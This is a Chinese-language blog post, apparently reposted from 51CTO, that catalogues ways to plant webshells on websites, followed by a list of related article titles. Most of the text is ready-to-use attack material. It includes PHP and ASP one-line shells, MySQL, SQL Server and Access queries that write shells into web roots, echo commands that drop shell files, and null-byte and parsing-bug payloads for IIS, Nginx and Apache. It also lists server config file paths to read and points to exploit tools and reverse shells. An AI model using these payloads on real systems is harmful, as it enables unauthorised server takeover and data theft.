網站滲透總結之Getshell用法大全
Getshell分為進管理員後臺Getshell和不進後臺Getshell,本文主要總結常見進後臺Getshell和部分。
一、進後臺Getshell
進臺Getshel
1、管理員後臺直接Getshell
管理員後臺直接上傳Getshell,有時候帶密碼的Webshell連線時容易被waf攔截,可以上傳不加密的Webshell如有許可權限制可以嘗試管理後臺自帶的修改檔名功能在檔名前加../來穿越目錄,如上傳的檔案為a.php,將a.php修改為../a.php。
2、後臺資料庫備份Getshell
後臺資料庫備份getshell,上傳圖片馬並獲取圖片馬路徑,透過資料庫備份修改字尾名,如有字尾名無法修改或路徑無法修改限制可修改前端程式碼繞過,當所備份的資料庫來源無法修改時,我們可以透過首先將一句話木馬寫入資料庫,比如透過新建管理員使用者,將使用者名稱用一句話木馬代替(使用者名稱通常有長度限制,在前端修改maxlength即可),<%eval
然後再透過備份資料庫後訪問此介面Getshell。
二、各類上傳Getshell
各類上傳Getshell
1、修改網站上傳型別Getshell
修改網站上傳型別,後臺設定中新增aasps|asp|php|jsp|aspx|asa|cer,儲存後上傳aasps檔案,上傳後為asp檔案可以解析Getshll。
05
2、上傳其他指令碼型別Getshell
一臺伺服器有多個站,如a網站為asp指令碼,b網站為php指令碼,而a中限制了上傳檔案型別為asp的檔案,此時可以上傳php的指令碼,來拿shell;也可以嘗試指令碼檔案字尾名改為asa或者在後面直接加個.如xx.asp.來突破檔案型別限制進行上傳來Getshell解
三、解析漏洞Getshell
1、IIS6.0解析漏洞
02
2、IIS7.0/7.5、Nginx<8.0解析漏洞
03
3、Nginx<8.03空位元組程式碼執行漏洞
版本範圍:Nginx0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
%00.php
0
4、Apache解析漏洞
逆向解析,直到能解析出php為止
5、CVE-2013-4547 Nginx解析漏洞
(非編碼空格)\0.php
四、編輯漏洞Getshell
1、網站配置插馬Getshell
進入後臺後,網站配置插馬getshell,可以找到原始碼本地搭建,插入時注意與原始碼閉合,如果插入出錯可能導致網站報廢。如asp中單引號表示單行註釋作用
%><%eval request("v01cano")%><%
2、編輯器模版Getshell
透過網站的模版編寫一句話,然後生成指令碼檔案getshell 透過將木馬新增到壓縮檔案,把名字改為網站的模版型別,上傳到伺服器,getshell)(新建或修改目錄名為xx.asp/ 此目錄下的jsp,html會以asp執行,配置iis6.有0解析漏洞 。
3、修改指令碼檔案Getshell
修改後臺指令碼檔案插入一句話直接Getshell,儘量插在頭和尾 。
4、上傳外掛、更新頁面Getshell
進入wordpress,dz等,如編輯wordpress404頁面插入一句話,可以先下載對應版本找到404路徑,部分OA上傳外掛Getshell, jboss,tomcat上傳war包getshell等。
5、執行sql語句寫入Webshell
首先執行錯誤的sql語句,使其暴露出網站的根目錄,以ecshop為例,進入後臺執行sql查詢
select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";
關於此語句說明,在windows中有時候需要使用斜槓/有時候需要使用雙反斜槓\末尾有時候需要分號,有時候也不需要分號。也可以先將一句話透過ecshop的新建管理員寫入到user表中,然後透過資料庫備份配合解析漏洞Getshell。
五、命令執行Getshel
1、Windows
echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:\1.php
1.
2、Linux
echo -e "<?php @assert(\$_POST[C0cho])?>" > 1.php
1.
Linux需要在$前加\進行防轉義,Windows需要在<前加^防轉義,Windows和Linux中的 “可以使用’或不使用進行嘗試
六、檔案包含Getshell
1、asp包含
include file="123.jpg"呼叫的檔案必須和被呼叫的檔案在同一目錄,否則找不到,如果不在同一目錄,用下面語句也使用如下程式碼include virtual="檔案所在目錄/123.jpg"
2、php包含
<?php
include('123.jpg');
?>
1.
2.
3.
03
3、使用php://input
使用burpsuite擷取資料包,並修改內容轉發(還可以使用hackbar工具中的post data中輸入<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句話木馬)
擷取get請求
將一句話木馬
訪問瀏覽器檢視是否成功
七、資料庫命令執行Getshell
1、Access匯出
Access可匯出xxx等檔案需要配合解析漏洞。
create table cmd (a varchar(50));
insert into cmd (a) values ('一句話木馬') #一句話木馬如:<%execute request(1)%>
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd
1.
2.
3.
4.
菜刀直連
2、Sqlserver匯出
exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"
1.
3、Mysql匯出
以phpMyAdmin為例:
方法一
create TABLE xiaoma (xiaoma1 text NOT NULL);
insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
drop TABLE IF EXISTS xiaoma;
1.
2.
3.
4.
方法二
select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'
1.
方法三
當資料庫路徑未知時Getshell
//建立表a,並且將httpd.conf寫入到表a中
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
1.
2.
然後執行匯出操作,將該檔案下載,使用notepad++開啟,最後搜尋documentroot,即可找到網站的根目錄:
檔案可能存在的一些路徑:
# Windows
c:\windows\php.ini # php配置檔案
c:\windows\system32\inetsrv\MetaBase.xml # IIS虛擬主機配置檔案
# Linux
/etc/php.ini # php配置檔案
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置檔案
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/mysql
/user/local/httpd/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置檔案
/user/local/nginx/conf/httpd.conf # Nginx配置檔案
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
方法四
透過load_file函式直接載入該檔案內容
select load_file('C:/phpStudy/Apache/conf/httpd.conf');
1.
同時需要做如下配置
方法五
general_log_file方法獲取Webshell,show global variables like 'secure%'顯示secure_file_priv的值為NULL,不能利用寫into outfile寫木馬getshell。
show global variables like "%genera%"; #檢視genera檔案配置情況
set global general_log = off; #關閉general_log
set global general_log = 'on'; #如果general_log關閉需要開啟
set global general_log_file = 'D:/www/web/shell.php'
1.
2.
3.
4.
方法六
可執行命令方式
select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'
使用方法
#cmd=後面加命令
1.
方法七
過防毒軟體方式,上傳圖片馬c.jpg,圖片馬內容如下:
#cmd=後面加命令
匯出Webshell
select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'
方法八
直接匯出加密Webshell
select unhex('加密程式碼') into dumpfile 'D:/www/web/shell.php'
八、不進後臺Getshell
1、0day Getshell
各類OA,coremail,cms,php框架,資料庫,java框架等0day,1day,nday Getshell 。
2、寫入日誌Getshell
獲取日誌路徑,在訪問過程中在url或者其他位置寫入<?php eval($_POST[c]);?>;等資訊,使其日誌記錄此程式碼,然後訪問日誌路徑,菜刀連線Getshell,如phpinfo();中能檢視到error.log和access.log的路徑。
3、IIS/Tomcat寫許可權Getshell
IIS6.0,put協議上傳手工或工具,批次掃描工具:iis put scaner,寫許可權利用:桂林老兵
Tomcat put上傳 CVE-2017-12615 工具傳送門:%3A//github.com/iBearcat/CVE-2017-12615
4、上傳會員頭像Getshell
將Webshell放入資料夾,然後壓縮成zip檔案。上傳正常頭像抓包將圖片檔案內容刪除,burp右鍵選擇檔案黏貼功能,將zip包內容複製到burp中的圖片內容,放行後菜刀連線圖片上傳路徑下的資料夾(zip壓縮包名)下的Webshell 。
5、遠端命令執行
參考Linux/Windows反彈shell,指令碼語言、powershell反彈shell,Kali/Cobalt Strike等各種上線方法 。
6、其他漏洞Getshell
XXE,SSRF,反序列化,strust2等一種或多種組合利用Getshell 。
-----------------------------------
©著作權歸作者所有:來自51CTO部落格作者LinkSLA的原創作品,請聯絡作者獲取轉載授權,否則將追究法律責任
網站滲透總結之Getshell用法大全
https://blog.51cto.com/u_15576159/5827834
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70013542/viewspace-2922101/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 網站安全滲透測試公司心得總結網站
- 網站滲透思路網站
- 網站安全公司 滲透測試基礎知識點大全網站
- 無線滲透總結
- 5、內網滲透之埠轉發與代理工具總結內網
- beescms網站滲透測試網站
- 滲透測試技巧總結
- 網站安全測試之APP滲透測試漏洞網站APP
- 網安之-=滲透思路
- 17、內網滲透測試定位技術總結內網
- 網站漏洞滲透測試覆盤檢查結果分析網站
- 滲透攻防演練之網站存在漏洞該如何解決網站
- 滲透測試常用術語總結
- 滲透測試——提權方式總結
- 滲透測試之小白的常見web漏洞總結(下)Web
- 滲透測試之小白的常見web漏洞總結(上)Web
- 內網滲透-初探域滲透內網
- 網站安全維護對公司網站滲透測試剖析網站
- 網站安全滲透測試服務之discuz漏洞挖掘與利用網站
- 網站滲透測試之獲取伺服器真實IP網站伺服器
- 網站滲透測試安全檢測漏洞網站
- 網站滲透測試安全檢測方案網站
- 如何學習網站漏洞滲透測試學習網站
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- 網站安全公司 滲透測試運營之路網站
- 網站滲透測試公司的成長之路網站
- 網站安全評估滲透測試手法分析網站
- 在滲透中curl的常見用法
- 滲透測試網站安全基礎點講解網站
- 網站漏洞檢測 滲透測試檢測手法網站
- 多個角度分析滲透測試網站安全效能網站
- 網站滲透測試漏洞分析程式碼架構網站架構
- 滲透測試公司談網站安全評估方法網站
- 網站滲透測試學習有苦也有甜網站
- 檔案上傳漏洞全面滲透姿勢總結
- 內網滲透工具內網
- Linux內網滲透Linux內網
- metasploit滲透測試筆記(內網滲透篇)筆記內網